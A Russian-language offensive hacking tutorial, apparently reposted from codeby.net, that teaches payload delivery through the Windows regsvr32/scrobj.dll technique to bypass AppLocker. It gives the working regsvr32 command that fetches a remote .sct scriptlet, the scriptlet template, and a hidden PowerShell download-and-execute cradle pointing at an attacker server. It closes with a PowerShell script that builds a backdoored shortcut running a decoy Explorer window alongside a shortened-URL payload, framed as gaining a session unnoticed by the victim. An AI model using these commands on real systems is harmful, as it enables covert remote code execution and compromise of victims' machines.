PowerShell для хакера. Часть VI. RegSVR and Backdooring ShortCut

PowerShell для хакера. Часть VI. RegSVR and Backdooring ShortCut

@webware

t.me/webware

Часть 6​

Доброго времени суток колеги. Сегодня продолжим c вами применять различные техники доставки полезной нагрузки c применением powershell и встроенной утилиты Windows RegSVR.

Техника такой доставки полезной нагрузки очень похожа на технику Web Delivery .

Ну сразу же хотелось бы сказать, что данная техника применяется в большинстве случаев для обхода AppLocker, но его наличия совсем не обязательно.В конце статьи я попытаюсь продемонстрировать как можно эту технику применять для инжекта в ярлыки. И так ,давайте приступим)

Сперва давайте посмотрим как работает уже готовый експлойт в метаслоте

Как видим из описания - этот експлойт поднимает на стороне атакуещего простенький веб сервер где создается вредоносный .sct файл в котором находится команда для подгрузки вредоносного скрипта на powershell,который так же размещен на этом веб сервере.

Давайте зададим ему необходимые опции и запустим:

Как видим эксплоит выдал нам команду ,которую нужно запустить на стороне жертвы.

regsvr32 /s /n /u /i:http://192.168.0.107:8080/.sct scrobj.dll

Давайте проверим:

Как видим все очень легко и просто. Давайте посмотрим как это все работает:

Сперва посмотрим на созданный файл .sct

Как видим это обычный XML файл который обработается библиотекой scrobj.dll ( Script Component Runtime) при скачивании .

Regsvr32 является частью ОС и может использоваться для регистрации или отмены регистрации файлов COM скриптов в реестре Windows

Но если разобрать команду по подробнее:

/s (silent) скрытая запуск, не использовать не каких сообщений на вывод.

/n -- говорит о том что не нужно использовать DllRegisterServer

/u -- отмена регистрации

/i -- отвечает за ссылку и DLLinstall

Наша XML представляет из себя VS или JS скрипт между тегами <registration>

Сам шаблон для выполнения команды выглядит так:

<?XML version="1.0"?>
<scriptlet>
<registration
    progid="Codeby"
    classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >

    <script language="JScript">
        <![CDATA[

            var r = new ActiveXObject("WScript.Shell").Run("cmd.exe");

        ]]>
</script>
</registration>
</scriptlet>


В этом простом примере запускается просто cmd.exe:

var r = new ActiveXObject("WScript.Shell").Run("cmd.exe");

А в нашем примере метасплоит создал XML , где вместо cmd.exe запускается команда на павершел от веб деливери.

var r = new ActiveXObject("WScript.Shell").Run("powershell.exe -nop -w hidden -c $w=new-object net.webclient;$w.proxy=[Net.WebRequest]::GetSystemWebProxy();$w.Proxy.Credentials=[Net.CredentialCache]:: DefaultCredentials;IEX $w.downloadstring('http://192.168.0.107:8080/');",0);

Со своим пейлоадом выглядит примерно так:

Думаю , что вполне легко ,по принципу прошлой моей статьи,написать генератор таких XML и закинуть такую XML где то на гитхаб или pastebin.

Какая одна из главных преимуществ этой техники ???

Мне удалось заметить - что при выполнении данной команды,жертва не видит кратковременного мелькания окна командной строки( как при обычном запуске команды для павершел).Следственно если где то прописать эту строчку в автозагрузку или куда то заинжектить - то врят ли жертва что то сможет заметить.)

Давайте я продемонстрирую как лекго можно создать вредоносный ярлык с использованием этой техники.

Сперва создадим полезную нагрузку:

Простенький генератор XML файлов

Закинем где то на гитхаб и проверим работоспособность...

Теперь давайте создадим вредоносный ярлык с помошью PowerShell:

$file=Get-Content .\payload.txt
$WshShell = New-Object -comObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut("C:\Users\DarkNode\Desktop\Codeby.lnk")
$Shortcut.TargetPath = "%SystemRoot%\system32\cmd.exe"
$Shortcut.WindowStyle = 7
$Shortcut.IconLocation = "%SystemRoot%\System32\Shell32.dll,15"
$Shortcut.Arguments = ""+$file
$Shortcut.Save()

payload.txt:

/c explorer.exe /e,::{20D04FE0-3AEA-1069-A2D8-08002B30309D} | regsvr32 /s /n /u /i:http://bit.ly/2jM7Pv2 scrobj.dll


Проверяем, запускаем ярлык и получаем сессию

Всем спасибо за внимание)

Источник codeby.net

Report Page